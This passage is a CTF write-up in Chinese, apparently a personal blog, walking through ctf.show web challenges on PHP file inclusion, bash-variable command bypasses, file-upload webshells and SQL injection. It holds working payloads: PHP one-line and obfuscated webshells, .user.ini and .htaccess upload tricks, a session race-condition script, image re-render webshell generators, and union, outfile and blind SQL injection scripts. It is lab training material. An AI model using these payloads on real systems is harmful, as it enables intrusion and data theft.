if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

过滤字符增加了filter

payload:

1
2
3
4
5
6
?file=compress.zlib://flag.php
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!

过滤字符少了filter 多了compress|root|zip|convert

payload:

1
?file=php://filter/resource=flag.php

web115

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

1
2
3
4
5
6
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){ // 要求传入数字 且不能等于36 然后trim() 函数移除字符串两侧的空白字符或其他预定义字符。 然后filter()函数进行过滤 如果存在0x 0 . e + 都会被替换成1
echo $flag;
}else{
echo "hacker!!";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

payload:

1
?num=%0c36 //%0c==\f 换页符  +-.和换页符 都可以绕过 trim和is_numeric

文件包含

web116

打开网页是一段视频

用foremost提取出一张图片

00080067

直接查看flag.php

file_get_contents可以直接读取

1
view-source:http://85a4a1cb-1bc9-4085-b47d-207e3bb654ae.challenge.ctf.show:8080/index.php?file=flag.php

web117

死亡exit

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

需要绕过die 过滤了常用的base64和rot13

换一个编码方式 php支持的字符编码

payload:

1
2
3
4
5
6
GET
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST
contents=?<hp pvela$(P_SO[T]1;)>?
URL/1.php
1=system('tac f*');

命令执行

web118

打开页面有一个输入框 查看源代码

有一行

1
<!-- system($code);-->

猜测输入框内应该是code

post传参code

知识点: Bash的内置变量

大佬的讲解

image-20210818191725755

这个题不同的环境会有不同的结果 题目本身也很绝

1
2
payload: code=${PATH:~A}${PWD:~A} ????.???
code=${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

在118的基础上增加了 PATH、BASH、HOME的过滤

payload1:

1
2
3
4
5
6
7
8
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}} ====> /



code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
/bin/cat flag.php

payload2:

1
2
3
4
5
6
7
8
9
10
${#SHLVL}   ====>   1

${PWD::${#SHLVL}} ====> / //本地环境未成功

${PWD:${#}:${#SHLVL}} ====> /


code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64

这题真的绝

web120

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

限制了长度

1
2
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? //有些费眼

web121

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

增加了过滤字符 过滤多了几个变量 没过滤WD和RANDOM

想办法替换上一个payload

过滤了SHLVL,可以用 $?替代

1
2
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? //有些费眼
1
2
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

image-20210818203211813

替换后

1
2
3
4
5
6
7
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
rev 查看文件是从最后一个字符显示到第一个字符。例如:
cat 显示为:
asdf
sdfa

web122

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了

1
2
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

image-20210818205209012

image-20210818205223629

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

绝了

php特性

web123 未理解未解答

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

image-20210818210745022

image-20210818210825631

image-20210818210909075

payload:

1
2
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
1
2
get:  $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

命令执行

web124

有点累 先开文件上传了

文件上传

web151

提示:前台校验不可靠

前端校验 上传png格式的图片 抓包修改名称

image-20210818212902710

web152

提示:后端校验要严密

与上一题一样做法

web153

提示:后端校验要严密

.htaccess和.user.ini配置文件妙用

1
2
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

.user.ini

1
auto_prepend_file = 1.png

上传.user.ini也需要抓包

auto_prepend_file = 1.png 这个配置的意思就是在当前目录下的.php 文件包含 1.jpg 这个图片,在此处相当于在 index.php 文件头插入了 require('1.png') 这条语句,也就是说相当于文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。

上传.user.ini与1.png

image-20210818214809056

image-20210818214821471

访问url/upload/index.php

即可使用一句话木马

web154

提示:后端校验要严密

这次上传图片发现也不行 原来是过滤了内容php 可以通过大小写绕过

然后使用一句话木马获取flag

image-20210818215458512

image-20210818215516081

访问url/upload/index.php

然后使用一句话木马获取flag

web155

提示:后端校验要严密

大小写也绕不过去 发现短标签开启了 php中的短标签 太坑人了

1
2
3
4
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

先上传.user.ini 再上传图片马

image-20210818220322817

image-20210818220357104

访问url/upload/index.php 显示安全连接失败 重开了一下环境 等了一下就行了 所有回显都到了源码里

然后使用一句话木马获取flag

2021/8/19

web156

在上一题的基础上过滤了[]

可以用花括号{}代替

其他步骤和之前一样 先上传.user.ini 再上传图片马

1
2
3
<?
eval(@$_POST{'a'});
?>

访问url/upload/index.php 还是显示安全连接失败 重开了一下环境 等了一下就行了

然后使用一句话木马获取flag

web157

在上一题的基础上又过滤了{}和;

使用另一种段标签格式

1
2
3
4
<?=`cat ../f*`?>  // echo `cat ../f*`
<?=(`cat ../f*`)?>

<?=(system('nl ../*.ph*'))?>

web158

1
2
3
4
5
6
<?=`cat ../f*`?>  // echo `cat ../f*`
<?=(`cat ../f*`)?>

<?=(system('nl ../*.ph*'))?>

<?=`nl ../*`?>

web159

payload不能带括号()

1
2
<?=`nl ../flag.ph*`?>
<?=`cat ../f*`?>

web160

首先确认过滤了空格 .user.ini

原来是

1
auto_prepend_file = 1.png

现在需要把空格去掉才能上传

1
auto_prepend_file=1.png

然后发现反引号也被过滤了

是包含日志

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

image-20210819114057652

访问url/upload/index.php

然后使用一句话木马获取flag

image-20210819114225021

看网上的payload说包含远程文件 远程文件是木马 然后读取flag也可以 由于没有服务器 所以没有实验

web161

增加了文件头的判断

文件上传漏洞之getimagesize()类型验证

用最简单的GIF89a绕过

先上传.user.ini

1
2
GIF89a
auto_prepend_file=1.png

再上传1.png

1
2
3
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) <?php  eval(@$_POST{'a'}); ?>

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162

在上一题的基础上又过滤了.

用和web82一样的方法 利用竞争包含session文件

拿过来脚本 先把flag改成test 因为题目限制了flag字符

然后把’upload/index.php’.format(sessID)改成’upload/index.php’

一句话木马改一下

然后手动上传.user.ini

1
2
GIF89a
auto_prepend_file=/tmp/sess_test

然后用脚本去上传木马并竞争访问upload/index.php 可以直接读到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'test'
url = 'http://eac6f08f-189a-429a-a0b0-5955a88af619.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'},
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + 'upload/index.php')
if 'test' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web163

做法与上一题一样

web164

后端进行了二次渲染 ,利用 imagecreatefrompng().
渲染之后会把图片马内的php代码去除

因此我们需要把php代码写入渲染前后都不会发生变化的地方

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

生成了1.png 用winhex打开 可以看到一句话木马为

1
<?=$_GET[0]($_POST[1]);?>

直接前端上传1.png 然后点击查看图片 浏览器里hackbar执行命令然后用bp抓包

image-20210819135321298

直接能包含的原因是后端代码直接包含了图片文件

去查看图片文件 url/upload/xxxxxx.png php代码依然存在

web165

png无法上传了 可以上传jpg

利用jpg二次渲染

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

自己用各种图片渲染了几小时 都没成功

最后在github找到了现成的可以过二次渲染的图片马

render_bypass_image_webshell

上传之后 访问download.php 抓包命令执行获取flag

image-20210819164841071

web166

jpg和png都无法上传

image-20210819151655114

发现能上传zip文件 然后点下载文件 可以在download.php页面直接命令执行

后端代码里有include

image-20210819151610823

注意:浏览器里hackbar执行命令然后用bp抓包才能命令执行

直接读取文件加post参数不能命令执行

或者用蚁剑直接连接download.php

image-20210819151018783

web167

image-20210819151912986

查看前端代码 可以上传jpg文件

upload下没了php文件 没法利用.user.ini了

发现服务器不是nginx了 变成了apache 想到.htaccess

1
2
SetHandler application/x-httpd-php  //把所有文件当做php文件解析
SetHandler application/x-httpd-php .png //把png文件当做php文件解析

image-20210819152547428

image-20210819152519842

然后访问url/upload/1.jpg 即可看到flag

web168

前端上传png文件

后端修改文件拓展名为php

不过对php内容进行了过滤 需要用php免杀木马

image-20210819160036983

上传成功后 访问url/upload/1.php 即可利用一句话木马

免杀:

1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
1
2
<?php // 使用时请删除此行, 连接密码: TyKPuntU ?>
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

web169

前端允许上传zip文件

后端进行了Content-Type的校验 允许上传image/png类型

先上传zip文件 然后抓包修改文件类型和文件名字

但是发现过滤了<>php,可以上传配置文件绕过

先上传.user.ini

image-20210819155124377

然后上传名为1.php的空文件 保证upload文件夹下可以有php文件包含图片 并在UA里写一句话木马

image-20210819155205474

通过浏览器访问发现无法命令执行 用蚁剑连接 需要用命令查看 才能看到真正的flagaa.php

文件管理是看不到的

image-20210819155341359

image-20210819155329763

web170

做法同上一题一样

sql注入

2021/8/25

web171

查库名

1
0' union select 1,database(),3 --+  //ctfshow_web

查表名

1
0' union select 1,group_concat(table_name),3  from information_schema.tables where table_schema=database() --+   //ctfshow_user

查列名

1
0' union select 1,group_concat(column_name),3  from information_schema.columns where table_name='ctfshow_user' --+   //id,username,password

查数据

1
0' union select id,username,password  from ctfshow_user --+     //flag

web172

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";


//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

要求username字段不能出现flag

查列数

1
1' order by 2 --+  //一共两列

查库名

1
0' union select 1,database() --+  //ctfshow_web

查表名

1
0' union select 1,group_concat(table_name)  from information_schema.tables where table_schema=database() --+   //ctfshow_user2

查数据

1
2
3
4
5
0' union select username,group_concat(password)  from ctfshow_user2 --+    //flag

0' union select hex(username),password from ctfshow_user2 --+ //flag

0' union select to_base64(username),password from ctfshow_user2 --+ //flag

web173

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";


//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

对返回的数据进行过滤

查列数

1
1' order by 3 --+  //一共两列

查库名

1
0' union select 1,database(),3 --+  //ctfshow_web

查表名

1
0' union select 1,group_concat(table_name),3  from information_schema.tables where table_schema=database() --+   //ctfshow_user3

查数据

1
2
3
4
5
0' union select username,group_concat(password),3  from ctfshow_user3 --+    //flag

0' union select hex(username),password,3 from ctfshow_user3 --+ //flag

0' union select to_base64(username),password,3 from ctfshow_user3 --+ //flag

2021/8/27

web174

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

检测返回结果是否有flag和数字 如果存在就不输出

1
1' union select  replace(username,'g','a') ,'a' from ctfshow_user4 --+
方法一

查列数

1
1' order by 2 --+

查库名

1
0' union select 'a',database() --+   //ctfshow_web

查表名

1
2
3
0' union select 'a',replace(group_concat(table_name),'4','a') from information_schema.tables where table_schema=database() --+   //ctfshow_user4

这里已经知道了是4.....

查列名

1
0' union select 'a',group_concat(column_name)  from information_schema.columns where table_name='ctfshow_user4' --+ //id,username,password

查username值

1
2
3
0' union select to_base64(username),'password'  from ctfshow_user4 --+ //ZmxhZw== //flag

0' union select replace(username,'f','a'),'password' from ctfshow_user4 --+ //alag

查password值

1
2
3
4
5
6
0' union select replace(username,'f','a'),replace(replace(password,'0','a'),'1','b')  from ctfshow_user4 --+

0' union select replace(username,'f','a'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 --+


0' union select to_base64(username),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 --+

把字母变成数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$flag='ctfshow{numeenumdnumhfnumhbnumf-anumbnumic-numenumhnumhd-numinumbnumjnuma-denumcnumhnumeanumcnumecnumdnumgnumh}';
$flag=str_replace('numa','0',$flag);
$flag=str_replace('numb','1',$flag);
$flag=str_replace('numc','2',$flag);
$flag=str_replace('numd','3',$flag);
$flag=str_replace('nume','4',$flag);
$flag=str_replace('numf','5',$flag);
$flag=str_replace('numg','6',$flag);
$flag=str_replace('numh','7',$flag);
$flag=str_replace('numi','8',$flag);
$flag=str_replace('numj','9',$flag);
echo $flag;
?>
方法二

写文件方法 前提是设置了允许写文件

1
2
3
0' union select username,password from ctfshow_user4 into outfile '/var/www/html/1.txt' --+  //返回信息 Query OK, 1 row affected (0.01 sec)

0' union select 1,'<?php eval($_POST["5"]);?>' into outfile '/var/www/html/eval.php' %23
方法三

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/16 16:24
# blog: www.wlhhlc.top
import requests
url = "http://151c9166-3b26-4211-8350-66208a82b250.challenge.ctf.show:8080/api/v4.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
for j in dict:
payload = f"?id=1' and substr((select password from ctfshow_user4 where username=\"flag\"),{i},1)=\"{j}\"--+"
gloal = url + payload
res = requests.get(url=gloal)
if 'admin' in res.text:
flag += j
print(flag)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/25 17:17
# @Function:
import requests
url = "http://151c9166-3b26-4211-8350-66208a82b250.challenge.ctf.show:8080/api/v4.php"
flag = ''

for i in range(0,100): # 创建一个整数列表
max = 128 # ASCII可见字符
min = 32
while 1:
mid = min+((max-min)//2) # 取整除 - 向下取接近商的整数
if min==mid:
flag+=chr(mid)
print(flag)
break
payload="?id=' union select 'a'," \
"if(ascii(substr((select group_concat(password) " \
"from ctfshow_user4 where username='flag'),%d,1))<%d," \
"'yes','true')+--+"%(i,mid)
res = requests.get(url=url+payload).text
#print(res)
if "yes" in res:
max = mid
else:
min = mid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
min  max  mid    
32 128 80

80 128 104


80 104 92


92 104 98

98 104 101

98 101 99


99 101 100


99 100 99
1
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'small','da')+--+"%(i,mid)
1
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),1,1))<57,'small','da')+--+"%(i,mid)

web175

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
方法一
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/25 17:17
# @Function:
import requests
from time import time

url = "http://a2addd19-ec90-4350-b049-8cc20db4de09.challenge.ctf.show:8080/api/v5.php"
flag = ''

for i in range(0, 100): # 创建一个整数列表
max = 128 # ASCII可见字符
min = 32
while 1:
mid = min + ((max - min) // 2) # 取整除 - 向下取接近商的整数
if min == mid:
flag += chr(mid)
print(flag)
break
payload = "?id=' union select 'a'," \
"if(ascii(substr((select group_concat(password) " \
"from ctfshow_user5 where username='flag'),%d,1))<%d," \
"sleep(0.5),1)+--+" % (i, mid)

start_time=time()
res = requests.get(url=url + payload).text
end_time=time()
# print(res)

if end_time-start_time>0.48 :
max = mid
else:
min = mid
方法二

